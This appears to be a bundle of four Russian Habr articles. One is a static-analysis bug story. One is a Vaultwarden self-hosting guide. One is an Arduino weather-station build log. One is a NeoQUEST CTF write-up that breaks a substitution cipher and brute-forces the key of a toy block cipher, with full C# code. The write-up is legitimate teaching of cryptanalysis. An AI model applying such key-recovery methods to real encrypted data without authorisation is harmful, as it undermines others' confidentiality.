V560 warnings here are all false. Running with most recent version of PVS-Studio for personal use. Basically, «IF» statement is correct. Outer one is done for speed — inner ones are still needed and non are always true or false.

Теперь, уважаемый читатель, ваше время проверить себя! Видите ошибку?
Ваше время проявить внимательность. А единорог пока немного подождёт.

После вводной части статьи, скорее всего многие нашли ошибку. Когда настроен найти ошибку, она находится. Намного сложнее заметить ляп после прочтения письма, где это называется «ложными срабатываниями» :).
Теперь пояснение для тех, кто поленился искать баг. Ещё раз рассмотрим условие:
```
if (!((ch >= 0x0FF10) && (ch <= 0x0FF19)) ||
((ch >= 0x0FF21) && (ch <= 0x0FF3A)) ||
((ch >= 0x0FF41) && (ch <= 0x0FF5A)))
```
Автор кода планировал проверить, что символ не входит ни в один из трёх диапазонов.
Ошибка в том, что оператор логический NOT (!) применяется только к первому подвыражению.
Если выполнилось условие:
```
!((ch >= 0x0FF10) && (ch <= 0x0FF19))
```
то вычисление выражения прерывается согласно [short-circuit evaluation](https://en.wikipedia.org/wiki/Short-circuit_evaluation). Если условие не выполняется, то значение переменной *ch* лежит в диапазоне [0xFF10..0xFF19]. Соответственно, четыре дальнейших сравнения не имеют смысла. Все они будут ложными или истинными.
Ещё раз. Смотрите, если *ch* лежит в диапазоне *[0xFF10..0xFF19]* и продолжается вычисление выражения, то:
* ch >= 0x0FF21 — всегда false
* ch <= 0x0FF3A — всегда true
* ch >= 0x0FF41 — всегда false
* ch <= 0x0FF5A — всегда true
Об этом и предупреждает анализатор PVS-Studio.
Вот так, статический анализатор оказался внимательнее пользователя и двух с половиной программистов из нашей команды.
Чтобы исправить ситуацию, надо добавить дополнительные скобки:
```
if (!(((ch >= 0x0FF10) && (ch <= 0x0FF19)) ||
((ch >= 0x0FF21) && (ch <= 0x0FF3A)) ||
((ch >= 0x0FF41) && (ch <= 0x0FF5A))))
```
Или переписать условие:
```
if (((ch < 0x0FF10) || (ch > 0x0FF19)) &&
((ch < 0x0FF21) || (ch > 0x0FF3A)) &&
((ch < 0x0FF41) || (ch > 0x0FF5A)))
```
Впрочем, я не могу рекомендовать к использованию ни один из этих вариантов. Я бы для упрощения чтения кода написал так:
```
const bool isLetterOrDigit = (ch >= 0x0FF10 && ch <= 0x0FF19) // 0..9
|| (ch >= 0x0FF21 && ch <= 0x0FF3A) // A..Z
|| (ch >= 0x0FF41 && ch <= 0x0FF5A); // a..z
if (!isLetterOrDigit)
```
Обратите внимание, что я убрал часть скобок. Как только что мы видели, большое количество скобок вовсе не помогло избежать ошибки. Скобки должны облегчать чтение кода, а не усложнять. Программисты хорошо помнят, что приоритет сравнений =<, => выше, чем у оператора &&. Поэтому здесь скобки не нужны. А вот если спросить, что приоритетней — && или ||, многие растеряются. Поэтому для задания последовательности вычислений &&, || скобки лучше поставить.
Почему лучше писать || в начале я описывал в статье "[Главный вопрос программирования, рефакторинга и всего такого](https://www.viva64.com/ru/b/0391/)" (см. главу: Выравнивайте однотипный код «таблицей»).
Всем спасибо за внимание. Скачивайте и начинайте использовать [PVS-Studio](https://www.viva64.com/ru/pvs-studio/). Он поможет выявлять многие ошибки и потенциальные уязвимости на самых ранних этапах.
[](https://www.viva64.com/en/b/0587/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. [How PVS-Studio Proved to Be More Attentive Than Three and a Half Programmers](https://www.viva64.com/en/b/0587/). | https://habr.com/ru/post/427309/ | null | ru | null |
# Простая криптография: частотный и дифференциальный криптоанализ в задании NeoQUEST-2015
 В преддверии скорого [очного тура](http://neoquest.ru/timeline.php?year=2015) NeoQUEST-2015 продолжаем разбирать задания online-этапа. В статье разбирается задание «Абракадабра», состоящее из двух частей. Обе части — на криптоанализ: первая — на частотный, вторая — на дифференциальный.
Участникам были даны два файла. Первый файл имел формат .docx, на его первой странице была та самая «абракадабра» — текст, состоящий сплошь из непонятных закорючек и символов, а на второй странице – не вполне понятный список. Глядя на него, одно можно было сказать точно: здесь описан некий алгоритм шифрования.
Второй файл был формата .txt, в нем содержались 2 столбца, озаглавленные как plaintext и cyphertext. Со всем этим надо было что-то делать…
Непонятный текст:
Ощыс щонныяыфЕoцътфюую pяокьюцфцъoС…С† дцхоягыьчc фц быяюсьфючьфлё юьфюиыфocС‘ эывщг бёющфлэо яцхфючьсэo Рѕ яцхфючьcСЌo блёющц. РР±С† юьфюиыфос кяыщчьцбъcРїСЊ СЂСЋС„pяыьфлм oфьыяыч Р± цфцъохыМ С‰oнныяыфЕоцътфлм кяюнцмъ o ёцяцрьыяочьopС† яцгфщц. РонныяыфЕoцътфлм кяюнцмъ кюрцхлбцыь быяюсьфючьфюы юьфюиыфоы эывщг бёющфлэo яцхфючьcСЌРѕ o яцхфючьсэо блёющц РґСЉСЋpС†. Кющюдфлы кяюнцмъл СЌСЋСѓРіСЊ дльт чюхщцфл щъc рцвщюую oС… бючтэо РґСЉСЋpСЋР± Р± DР«S. ЁцяцрьыяoчьоpС† яцгфщц кющюдфц С‰oнныяыфЕоцътфюэг кяюнцмъг, фю блжoчъсыьчc щъс Еыъюую яцгфщц. Рфц кюрцхлбцыь быяюcьфючьт, С‡ pСЋСЊСЋСЏСЋРј ющфц бёющфцс яцхфючьт чюхщцъц РґР» яцхфючьт юкяыщыъaффюую блёющц. Рдяцьоьы Р±С„oэцфоы, Р¶СЊСЋ ёцяцрьыяoчьоpС† ющфц o СЊС† РІС‹ щъc рцвщюую яцгфщц, РєСЋСЊСЋСЌРі Р¶СЊСЋ СЉРїРґСЋС‹ юьфюиыфоы, pСЋСЊСЋСЏСЋС‹ бръпжцыь яцхфючьo, фы хцбочoСЊ СЋСЊ pъпжым яцгфщц. Очкюътхгм щонныяыфЕoцътфлм ряокьюцфцъoС… щъс кяюёювщыфоc Р±СЊСЋСЏСЋРј жцчьo хцщцфос, oСЉРѕ РІС‹ oщо фцкяюъюэ. Р¦ pСЉРїР¶ СЂ Р№СЊСЋРј жцчьo хцщцфоc Рњ жцчьюьфлмцфцъoС….
Список:
1. Substitution (15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10)
2. Permutation P(i) = 9\*i + 4 (mod 32)
3. 3 цикла: 2 цикла с [XOR with key + Substitution + Permutation], последний [XOR with key + Substitution + XOR with key]
4. Вход: S-box №1 (10; 1), второй: S-box №3 (8; 6).
Учитывая список из файла Word, по парам открытых и закрытых текстов во втором файле формата .txt и нужно было восстановить ключ.
###### **«Абракадабра» №1**
Разбор первой части задания, с непонятным текстом, следовало начинать с определения кодировки, с этим успешно справлялись многие онлайн-декодеры (в частности, [этот](http://www.artlebedev.ru/tools/decoder/)).

После использования декодера, получался уже более осмысленный текст, со знаками препинания, наводящий на мысль о шифровании путем замены символа на символ. Однако самый простой вариант – шифр Цезаря – здесь ничем не помог. Дальнейшие направления мысли сводились к частотному криптоанализу. Здесь, как и в случае с определением кодировки, существуют [сервисы](http://abak.pozitiv-r.ru/text/97-freq-letter) , позволяющие провести частотный анализ текста.
Результат частотного анализа введенного текста
Проведен анализ текста
Количество символов в тексте 910
Количество пробелов 114
Количество цифр 0
Количество точек и запятых 16
Количество английских букв 53
Количество русских букв 715
Посимвольная статистика и частотный анализ
Символ встречается 114 раз. Частота 12.53%
Символ ю встречается 86 раз. Частота 9.45%
Символ ц встречается 80 раз. Частота 8.79%
Символ ф встречается 63 раз. Частота 6.92%
Символ ь встречается 52 раз. Частота 5.71%
Символ ы встречается 50 раз. Частота 5.49%
Символ я встречается 43 раз. Частота 4.73%
Символ щ встречается 38 раз. Частота 4.18%
Символ ъ встречается 31 раз. Частота 3.41%
Символ о встречается 30 раз. Частота 3.30%
Символ o встречается 28 раз. Частота 3.08%
Символ ч встречается 27 раз. Частота 2.97%
Символ б встречается 22 раз. Частота 2.42%
Символ х встречается 21 раз. Частота 2.31%
Символ л встречается 19 раз. Частота 2.09%
Символ к встречается 16 раз. Частота 1.76%
Символ м встречается 16 раз. Частота 1.76%
Символ э встречается 14 раз. Частота 1.54%
Символ н встречается 14 раз. Частота 1.54%
Символ г встречается 13 раз. Частота 1.43%
Символ ё встречается 12 раз. Частота 1.32%
Символ с встречается 11 раз. Частота 1.21%
Символ р встречается 11 раз. Частота 1.21%
Символ c встречается 11 раз. Частота 1.21%
Символ т встречается 11 раз. Частота 1.21%
Символ p встречается 11 раз. Частота 1.21%
Символ. встречается 9 раз. Частота 0.99%
Символ ж встречается 9 раз. Частота 0.99%
Символ д встречается 9 раз. Частота 0.99%
Символ в встречается 7 раз. Частота 0.77%
Символ, встречается 7 раз. Частота 0.77%
Символ е встречается 6 раз. Частота 0.66%
Символ у встречается 6 раз. Частота 0.66%
Символ п встречается 5 раз. Частота 0.55%
Символ и встречается 4 раз. Частота 0.44%
Символ й встречается 1 раз. Частота 0.11%
Символ a встречается 1 раз. Частота 0.11%
Символ d встречается 1 раз. Частота 0.11%
Символ s встречается 1 раз. Частота 0.11%
Из результатов анализа видно, что в тексте не две английские буквы (обратите внимание на загадочное DЫS, которое может быть DES, DOS, DNS и так далее), а целых 53! Можно было потрудиться и написать программку, перебирающую буквы, которые одинаково выглядят как в русском, так и в английском варианте (например, очевидные o, e, p), а можно было погуглить и найти [программку](http://tobetop.ru/openscripts/engsymb.php) , которая подсветит английские буквы:

Внимательные участники могли заметить повторяющиеся слова, являющиеся, скорее всего, различными формами одного и того же слова:
**щонныяыфЕoцътфюую
щoнныяыфЕоцътфлм
щoнныяыфЕоцътфюэг**
Логично предположить, что наиболее краткая форма слова из этих трех – это именительный падеж, слово из 16 букв, в котором буквы 3 и 4 – одинаковые. Всего слов из 16 букв, если верить словарю, не так-то много: 759. А таких, чтобы третья и четвертые буквы совпадали, тем более. Можно было реализовать программку, подбирающую слова, подходящие по маске к зашифрованному, а можно было просто проверить слова из 16 букв с удвоенными на 3 и 4 позициях. Даже если проверять вручную, выбор невелик:
беззастенчивость
баллотировальник
гелленологофобия
коллаборационизм
коллаборационист
коллекционерство
целлофанирование
коммерциализация
пессимистичность
рассудительность
дифференцировать
Но буквы на позициях 2 и 10 также должны совпадать! По такому параметру подходит только слово «дифференцировать», и если попробовать осуществить такую замену символов, текст станет уже более читаемым, хоть и не до конца, откуда становится понятно, что искомое слово – не «дифференцировать», а «дифференциальный». Связав со второй частью задания, DЫS превращается в DES, еще немного упрощая задачу, а конечный вариант текста выглядит так:
«Идея дифференциального криптоанализа базируется на вероятностных отношениях между входными разностями и разностями выхода. Два отношения представляют конкретный интерес в анализе: дифференциальный профайл и характеристика раунда. Дифференциальный профайл показывает вероятностное отношение между входными разностями и разностями выхода блока. Подобные профайлы могут быть созданы для каждого из восьми блоков в DЕS. Характеристика раунда подобна дифференциальному профайлу, но вычисляется для целого раунда. Она показывает вероятность, с которой одна входная разность создала бы разность определённого выхода. Обратите внимание, что характеристика одна и та же для каждого раунда, потому что любое отношение, которое включает разности, не зависит от ключей раунда. Используй дифференциальный криптоанализ для прохождения второй части задания, или же иди напролом. А ключ к этой части задания — частотный анализ.
Вот мы и получили ключ к первой части задания, однако если вводить «частотныйанализ» в поле ввода, выскакивает сообщение о том, что ключ неверен. Что делать? Все просто: от этой фразы нужно было взять MD5-хеш. Profit! Кстати, writeup по этому заданию уже опубликовал один из наших участников [здесь](http://yantayga.livejournal.com/99988.html), пройдя его немного по-другому, но, тем не менее, добившись успеха!
###### **«Абракадабра» №2**
Как уже было написано в расшифрованном тексте, вторую часть задания можно было пройти двумя способами:
* реализовать дифференциальный криптоанализ;
* забрутфорсить ключ, используя пары открытый-закрытый текст.
Большинство участников выбрали второй способ прохождения (и их можно понять, ведь реализовать криптоанализ все же трудозатратнее), поэтому этот способ мы разберем подробнее.
###### ***Дифференциальный криптоанализ***
В его основу положена неравномерность распределения поразрядных разностей по модулю 2 пар открытых и соответствующих им зашифрованных текстов. Для атаки с использованием дифференциального метода требуется наличие подобранных открытых и соответствующих зашифрованных текстов, это условие выполнялось.
Участникам, неискушенным в криптоанализе, для прохождения задания именно этим способом, пришлось бы достаточно потрудиться, а именно:
1. Разобраться в том, что такое дифференциал цикла шифрования.
2. Изучить понятие дифференциальной характеристики.
3. Понять, как работают подстановка и перестановка.
Дифференциал i-го цикла шифрования – это пара векторов a и b, такая, что пара открытых текстов (x1 и x2) с разностью a может перейти после i-го цикла в пару выходных текстов (y1 и y2) с разностью b. Дифференциальная характеристика представляет собой последовательность одноцикловых дифференциалов, при этом выходная разность текстов для предыдущего цикла совпадает с входной разностью текстов последующего цикла.
Блочный шифр имеет длину блока и ключа по 32 бита (об этом можно догадаться, посмотрев на условие 2 в списке). Зашифрование, как уже было указано в списке документа .docx, выполняется на 3 циклах, каждый из которых содержит XOR с ключом, замену 4-битовых слов (подстановка, Substitution), и два цикла содержат перестановку (Permutation). При выполнении перестановки бит с позиции i перемещается на позицию 9\*i + 4 (mod 32).
К слову, перестановка вызвала значительные затруднения у участников из-за своей нетривиальности: на входе нумерация битов идет от 1 до 32, а на выходе — от 0 до 31 (пример: Permutation(0x12345678)=0хB3E29180). Однако после публикации подсказки в Twitter, участники стали активно проходить задание!
Общий алгоритм прохождения задания методом дифференциального криптоанализа:
1. Используя пару открытых текстов, смотрим разность для этой пары на выходе 2 цикла
2. Используя пару выходных шифртекстов после 3 цикла, выполняем их обратные преобразования, вычисляя обратную подстановку и делая XOR с ключом.
3. Вычисляем разность для преобразованных шифртекстов.
4. Сравниваем разности для преобразованных шифртекстов и для пары открытых текстов.
5. Ищем совпадающие биты, если они есть, увеличиваем счетчик числа совпадений.
6. Перебрав все кусочки ключа (2 по 4 бита, итого — 8 битов), смотрим, для какого (или для каких) наибольшее количество совпадений. Это и будет искомой частью ключа.
7. Повторяем, выбирая другие активные блоки и строим новую характеристику, для определения уже другой части ключа. Делаем, пока либо все 32 бита не будут вскрыты, либо пока не будет вскрыта большая часть ключа — остальное можно забрутить.
###### ***Брутфорс***
Перейдем к прохождению задания методом брутфорса! Можно было реализовать программу, которая осуществляет брутфорс параллельно на всех ядрах процессора. Помимо этого, конечно, требовалось быть внимательными при реализации подстановки и перестановки.
```
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace ConsoleApplication2
{
static class Program
{
static long progress = 0;
static long prev_progress = 0;
static DateTime prev_date;
static bool complete = false;
static byte reverse_bits( this byte b)
{
byte r = 0;
for (int i = 0; i < 8; i++)
{
byte mask = (byte)(1 << i);
byte mask_neg = (byte)(1 << (7 - i));
if ((b & mask) == mask)
{
r |= mask_neg;
}
}
return r;
}
static byte[] reverse_bits(this byte[] array)
{
byte[] r = new byte[array.Length];
for (int i = 0; i < array.Length; i++)
{
r[i] = array[i].reverse_bits();
}
return r;
}
static void Main(string[] args)
{
DateTime start_date = DateTime.Now;
progress = 0;
prev_progress = 0;
prev_date = DateTime.Now;
Thread monitor = new Thread(a =>
{
while (progress != 0xFFFFFFFF && complete == false)
{
Thread.Sleep(5000);
long long_percent = ((progress * 100 * 1000) / 0xFFFFFFFF);
long sec = (long)(DateTime.Now - prev_date).TotalSeconds;
long speed = (long)((progress - prev_progress) / sec);
Console.WriteLine("{0}.{1}% ... speed={2} left={3}", long_percent / 1000, long_percent % 1000,
speed,
0x100000000 - progress);
prev_date = DateTime.Now;
prev_progress = progress;
}
});
monitor.Start(0);
Parallel.For(0x00000000, 0xFFFFFFFF, i =>
{
byte[] text = BitConverter.GetBytes((UInt32)0x5ABF054B);
Array.Reverse(text);
byte[] key = BitConverter.GetBytes((UInt32)i);
Array.Reverse(key);
Crypt(ref text, key);
Array.Reverse(text);
if (BitConverter.ToUInt32(text, 0) == (UInt32)0x4CD3CA17)
{
complete = true;
Console.WriteLine("KEY {0}", i.ToString("X"));
File.WriteAllText(i.ToString("X") + ".txt", i.ToString());
Console.WriteLine("Complete! time = " + (DateTime.Now - start_date).ToString());
Console.ReadKey();
}
Interlocked.Increment(ref progress);
}
);
Console.WriteLine("Complete! time = " + (DateTime.Now - start_date).ToString());
Console.ReadKey();
}
static int[] substitution_table = { 15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10};
static void Crypt(ref byte[] text, byte[] key)
{
Xor(ref text, key);
Substitution(ref text);
Permutation(ref text);
Xor(ref text, key);
Substitution(ref text);
Permutation(ref text);
Xor(ref text, key);
Substitution(ref text);
Xor(ref text, key);
}
static void Substitution(ref byte[] text)
{
for (int i = 0; i < 8; i += 2)
{
int h = (text[i / 2] >> 4) & 0xF;
int l = (text[i / 2] >> 0) & 0xF;
h = substitution_table[h];
l = substitution_table[l];
text[i / 2] = (byte)((h << 4) | l);
}
}
static void Permutation(ref byte[] text)
{
BitArray bits = new BitArray(text.reverse_bits());
text = new byte[text.Length];
for (int i = 0; i < 32; i++)
{
int idx = ((i + 1) * 9 + 4) % 32;
text[idx / 8] |= (byte)((bits[i] ? 1 : 0) << (idx % 8));
idx = idx;
}
text = text.reverse_bits();
}
static void Xor(ref byte[] text, byte[] key)
{
for (int i = 0; i < text.Length; i++)
{
text[i] ^= key[i];
}
}
}
}
```
Любопытно, что для некоторых пар открытых и соответствующих им зашифрованных текстов программа могла найти и не один ключ (в частности, для самой первой пары). От найденного значения, как и в первой части задания, нужно было найти MD5-хеш. | https://habr.com/ru/post/258893/ | null | ru | null |
# Цифровая свобода. Часть 1. Менеджер паролей
Всем привет! Я хочу запустить цикл статей с инструкциями которые помогут, отвязаться от сервисов и вернут вам контроль над вашими данными. Тут будут представлены opensource аналоги сервисов, которыми все мы пользуемся каждый день и утилиты для бекапа ваших данных из цепких лап вендоров. Я не ставлю цель 100% уйти на опенсорс и селфхостед, всё таки сервисы должны быть удобными и доступными. Поэтому это не только полноценные аналоги, иногда это будут утилиты для бекапов. Главное это удобство, бесплатность и контроль над своими данными.
https://pin.it/LdIa6jdЛирическое отступление
----------------------
Говорят, люди не хотят поддерживать свои серверы. В большинстве своем, это наверное так, многие сервисы либо условно бесплатны, либо с небольшой платой для случаев частного использования. Всё, что нужно — это зарегистрироваться и начать пользоваться. Но не все так радужно, как может показаться на первый взгляд. Во первых, цифровой след — большинство сервисов активно использует ваш цифровой портрет и собирает о вас данные. Во вторых, ваши данные не принадлежат вам, сервис может изменить правила использования в любой момент и вы на это не можете никак повлиять. Например Google Photos, раньше для хранения фото с телефонов Google Pixel был безлимит на загрузку фото в оригинальном качестве, но в какой-то момент Google изменил правила и теперь безлимитное хранилище доступно только для загрузки фото в сжатом качестве. Ну и в конце концов, сервис может просто закрыться или доступ к нему могут заблокировать. В общем, никакой уверенности в том, что любимый сервис будет доступен и будет оставаться удобным. Переезжать с сервиса тоже не всегда удобно и возможно. Если после прочтения этого абзаца у вас появились опасения за свои данные, то давайте перейдем к практической части.
Платформа
---------
* PC\VPS\Raspberry PI
* Linux
* ~200mb RAM
* Docker
* Доступ в интернет
Настройка окружения
-------------------
Здесь и далее приведены примеры на ubuntu 20
Обновляем пакеты
```
sudo apt update
sudo apt upgrade
```
Настраиваем Firewall
```
sudo ufw allow https
sudo ufw allow http
sudo ufw allow ssh
yes | sudo ufw enable
```
Bit Warden
----------
В качестве менеджера паролей будет использоваться Bit Warden. Он отлично выполняет свою основную функцию. Также присутствует мобильное приложение с автозаполнением. И дополнительные инструменты, которые помогут найти слабые пароли и сгенерировать новые и использовать как аутентификатор для 2fa. Всё это обернуто в современный интерфейс.
Канонический Bit Warden довольно громоздкий для домашнего использования, но есть альтернативное компактное решение Vault Warden <https://github.com/dani-garcia/vaultwarden> давайте его и развернем.
Установка докера
```
sudo apt update
sudo apt install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable"
sudo apt update
sudo apt install docker-ce
```
Запуск VW
```
docker pull vaultwarden/server:latest
sudo docker run -d -v $HOME/vw-data:/data/ -p 9565:80 vaultwarden/server:latest
```
Nginx
-----
установка
```
sudo apt install nginx-full
```
Настройка nginx
Нужно расположить конфиг по следующему пути
```
sudo nano /etc/nginx/sites-enabled/vw
```
Конфиг-файл
```
server {
server_name 192.168.1.80; # your host name
location / {
proxy_pass http://localhost:9565;
}
}
```
```
sudo service nginx reload
```
Готово, на этом моменте вы можете открыть VW по ссылке http://192.168.1.80
Также доступно официальное мобильное приложение Bit Warden на android и ios, нужно только указать ваш сервер.
ssl
---
Для получения сертификата можно воспользоваться certbot <https://certbot.eff.org/instructions?ws=nginx&os=ubuntufocal>
```
sudo snap install core; sudo snap refresh core
sudo snap install --classic certbot
sudo ln -s /snap/bin/certbot /usr/bin/certbot
sudo certbot --nginx
```
и выбрать ваш домен, имейте ввиду, что для получения сертификата вам нужно доменное имя, получить сертификат для IP-адреса нельзя.
Перенос сохраненных паролей из Google Chrome
--------------------------------------------
В Chrome
1. Откройте chrome://settings/passwords
2. Нажмите на три точки и выберите Экспорт Паролей
3. Cохраните файл
Зайдите в Vault Warden
1. Инструменты -> Импорт данных
2. Выберите формат Chrome (CSV)
3. Нажмите кнопку Импорт данных
Итоги
-----
* Инстанс Vault Warden
* Бесплатный премиум доступ для нескольких пользователей
* Ваши данные хранятся у вас
* Вы не привязаны к вашему сервису с паролями, можете комфортно использовать в любых браузерах и смартфонах на любой платформе | https://habr.com/ru/post/655283/ | null | ru | null |
# Метеостанция: от идеи до реализации

Прочитал множество статей, посвященных разработке своего устройства, и захотел рассказать о своем опыте. Происходило это несколько лет назад, на 4-м курсе универа. Сейчас я многое сделал бы уже по-другому, а в то время я только начинал осваивать электронику, это — мое первое устройство, так что не судите строго.
Мне всегда хотелось чего-то большего, чем обычный градусник за окном или ЖК-экран метеостанции с температурой на улице и в комнате. Поэтому, когда я задумался, «что же такое сделать» для того, чтобы начать знакомство с миром микроконтроллеров, ответ нашелся сам собой — свою метеостанцию. Естественно, с отображением градусов на улице и внутри помещения, влажности и давления. И с подсветкой — мне всегда нравилась реализация прогноза погоды на Яндексе — одного взгляда на фон достаточно, чтобы понять, будет тепло или холодно, и насколько.
Весь дальнейший функционал был определен небольшим мозговым штурмом. Наличие подсветки, безусловно, плюс, но как быть ночью и вечером? Я решил установить ИК-сенсор, реагирующий на приближение. При подходе к прибору на комфортное расстояние включается подсветка, в иное время экран по умолчанию не горит. Использование ИК подтолкнуло к реализации управления прибором также по ИК-каналу — через пульт (поначалу были опасения о взаимных помехах, но они не подтвердились). Вполне естественно для такого устройства наличие часов.
В качестве основы для системы была выбрана Arduino, которую я только начинал осваивать. Саму Arduino я рассматриваю сейчас (да и тогда), как фреймворк — в первую очередь программный, позволяющий быстро строить необходимую систему, подключая при необходимости плагины-библиотеки. Да, мы можем писать и на чистом С/С++, но в большинстве рядовых задач это дает лишь незначительный прирост производительности, практически незаметный на фоне простоты и удобства загрузки скетчей в Arduino, а также обширнейшей коллекции библиотек для работы с различным железом. (Само собой, что есть особые задачи, но сейчас речь не о них).
В аппаратной же реализации я предпочитаю использовать синюю плату Arduino только на этапе прототипирования на «макетке», а по окончанию разработки устройств обычно проектирую одну-единственную плату с микроконтроллером и всем остальным. Так было и в тот раз.
Подбор компонентов я начал с экрана. Довольно быстро нашелся замечательный экран с RGB-подсветкой [www.adafruit.com/products/398](https://www.adafruit.com/products/398), что позволяло получить практически любые цвета. Он построен на популярном чипе HD44780 и поддерживается огромным количеством библиотек, в том числе и LiquidCrystal в Arduino.
Также я поинтересовался ценами на индивидуальное производство дисплеев. Минимальная цена за 1 экземпляр монохромного ЖК (как в типовой метеостанции) по ценам того времени была порядка 1 000 евро, для некоммерческого проекта в единичном экземпляре я счел такой ценник нецелесообразным.

В качестве ИК-датчика был выбран [Sharp GP2Y0A02YK0F](http://www.sharpsma.com/webfm_send/1487). Немаловажной характеристикой в моем случае являлась дальность обнаружения объектов, у этого датчика она равна 1.5 м, в то время как у многих других сенсоров она не превышает 30 см. Как показала себя эксплуатация, для небольшого экрана 16х2 полтора метра — действительно оптимальное расстояние.
В качестве датчика давления был выбран [Bosch BMP085](http://www.bosch-sensortec.com/en/homepage/products_3/environmental_sensors_1/bmp085_1/bmp085), работающий по [I2C](https://ru.wikipedia.org/wiki/I%C2%B2C), влажности [HH10D](http://www.hoperf.com/upload/sensor/hh10d.pdf) — с частотным выходом. Забегая вперед, скажу, что сейчас я бы ни в коем случае не использовал последний, а предпочел бы исключительно I2C-варианты, например HTU21D.
В качестве внешних сенсоров температуры использовались всеми любимые [DS18B20](http://datasheets.maximintegrated.com/en/ds/DS18B20.pdf). Их огромным преимуществом является возможность подключать (и отключать при необходимости) на 1 шину сразу несколько датчиков, без необходимости менять код программы. С беспроводной передачей данных температуры я в своем первом проекте я связываться не стал, тем более что у меня была возможность проложить провода без ущерба эстетике.
ИК-приемник был взят наиболее типовой, типа TSOP382. Пультом для метеостанции стал пульт от какого-то видеорегистратора. Зуммер (она же пищалка) — самый обычный пьезоизлучатель.

В качестве часов реального времени я выбрал [DS1307](http://datasheets.maximintegrated.com/en/ds/DS1307.pdf), также работающую по I2C, кроме того, у меня была крошечная микросхема флеш-памяти 24AA256 на 64 Кб с I2C-интерфейсом. Ее я добавил в проект из чистого любопытства — попробовать работу с внешней памятью, записывая в нее данные о погодных условиях. Питание для проекта – внешнее, от блока питания. На входе стоит преобразователь/стабилизатор напряжения [LM7805](http://www.fairchildsemi.com/ds/LM/LM7805.pdf), сам узел питания очень похож на используемый в Arduino (хотя и не является клоном).
Разработку я выполнял итерациями, так намного проще выполнять отладку и знакомиться с новой для себя областью. На самом первом этапе с термометра DS18B20 считывались данные и выводились на ЖК-экран. На следующем — значения температуры должны были превращаться в RGB-код для подсветки.
Тут меня подстерегала особенность цветопередачи. Управление цветом экрана осуществляется при помощи широтно-импульсной модуляции для каждого из трех светодиодов подсветки (при помощи стандартной библиотеки) с 256 ступенями – казалось бы, вполне обычный 24-битный цвет. К сожалению, длины волн для цветов R, G и B монитора и светодиодов подсветки сильно различаются, и из-за этого обычные цвета, вроде #ffff00, на фоне моего ЖК-экрана выглядят совершенно иначе («уходят в сторону»). Поэтому мне пришлось написать на С# программу с тремя ползунками и color picker’ом, передающую три компоненты цвета в последовательный порт Arduino. Дальше пришлось вспомнить азы математики и составить функцию, преобразующую температуру в градусах по Цельсию в RGB-цветовую шкалу. Естественно, я уже не ограничивался желто-голубой шкалой Яндекса, и использовал и другие цвета — на основе своих ассоциаций.
Следующими этапом стали подключение IR дальномера, датчиков температуры и влажности. И, если с первыми двумя не возникло никаких сложностей (кроме пайки BMP085 в LCC8-корпусе), то датчик влажности доставил массу проблем.
Все дело в том, что итоговое значение относительной влажности рассчитывается по формуле, одним из аргументов которой является частота меандра на выходе датчика. Измерение частоты выполняется при помощи аппаратного таймера микроконтроллера. В 328, к сожалению, таких таймеров всего лишь три, и большая их часть уже задействована при ШИМе для подсветки дисплея. (Сейчас уже не помню все детали, возможно, что-то пропустил).
Из этой ситуации было несколько выходов. Если бы я разрабатывал устройство сегодня, я бы однозначно использовал только I2C-сенсоры. Другим вариантом было использовать более мощный микроконтроллер. Я же тогда выбрал третий вариант — установить отдельный микроконтроллер для работы со звуком (пищалка) и подсветкой дисплея (напомню, это был в первую очередь образовательный проект, и мне было интересно попробовать организовать взаимодействие между двумя МК). В него же перешла функция преобразования температуры в цвет, что облегчило на пару килобайт прошивку главного МК (в Atmega328 размер памяти программы составляет всего лишь 32Кб, моя прошивка в итоге вплотную приблизилась к этому пределу). Взаимодействие между МК было все так же организовано по I2C.
После этого были добавлены пульт, часы, флеш-память. Следующей стадией стало написание удобного меню, добавление программных фич (таких, как блокировка подсветки в текущем состоянии, режим больших цифр — как на уличных часах, с прокруткой всех параметров), поддержка нескольких датчиков температуры с их добавлением / удалением онлайн (да, я знаю, что так лучше не делать). Вполне привычное дело для ПК — и необычное поначалу для собранного тобой устройства, когда без изменения схемы в несколько раз возрастает функциональность проекта…
Пульт использовал какой-то свой проприетарный протокол. Я не стал заниматься его реверс-инжинирингом, мне было вполне достаточно шестнадцатеричного представления каждой кнопки, получаемого мной от библиотеки IRRemote. Для флеш-памяти я выбрал запись данных погоды каждые 10 минут, при длине записи в 16 байт этого хватает на 4 месяца.
**Код, отвечающий за работу с флеш-памятью**LOGGER.h
```
#ifndef LOGGER_h
#define LOGGER_h
#include
class LOGGER {
public:
LOGGER(int);
void storeRecord16(byte\* buffer);
void getRecord16(unsigned int address, byte\* buffer);
int getAddress();
void setAddress(int);
private:
int \_FlashI2CAddress;
void \_getAddress();
void \_setAddress();
unsigned int \_addr;
};
#endif
```
LOGGER.cpp
```
#include
#include
#include "LOGGER.h"
/\*
MEMORY MAP:
0000 - MSB of last written address
0001 - LSB of last written address
...
0040 - 7FFF - storage,
\*/
LOGGER::LOGGER(int a)
{
\_FlashI2CAddress = a;
}
void LOGGER::storeRecord16(byte\* buffer)
{
byte c;
//get address
LOGGER::\_getAddress();
//increase addr
delay(5);
\_addr+=16;
if(\_addr>0x7FF0) \_addr = 64;
//store buffer
Wire.beginTransmission(\_FlashI2CAddress);
Wire.send((byte) (\_addr >> 8) & 0xFF); // MSB
Wire.send((byte) (\_addr & 0xFF) ); // LSB
for ( c = 0; c < 16; c++)
Wire.send(buffer[c]);
Wire.endTransmission();
delay(20);
//save new addr
LOGGER::\_setAddress();
}
void LOGGER::getRecord16(unsigned int address, byte\* buffer)
{
byte c;
//set address
Wire.beginTransmission(\_FlashI2CAddress);
Wire.send((byte) (address >> 8) & 0xFF); // MSB
Wire.send((byte) (address & 0xFF) ); // LSB
Wire.endTransmission();
Wire.requestFrom(\_FlashI2CAddress,16);
for (c = 0; c < 16; c++ )
if (Wire.available()) buffer[c] = Wire.receive();
}
void LOGGER::\_getAddress()
{
byte c;
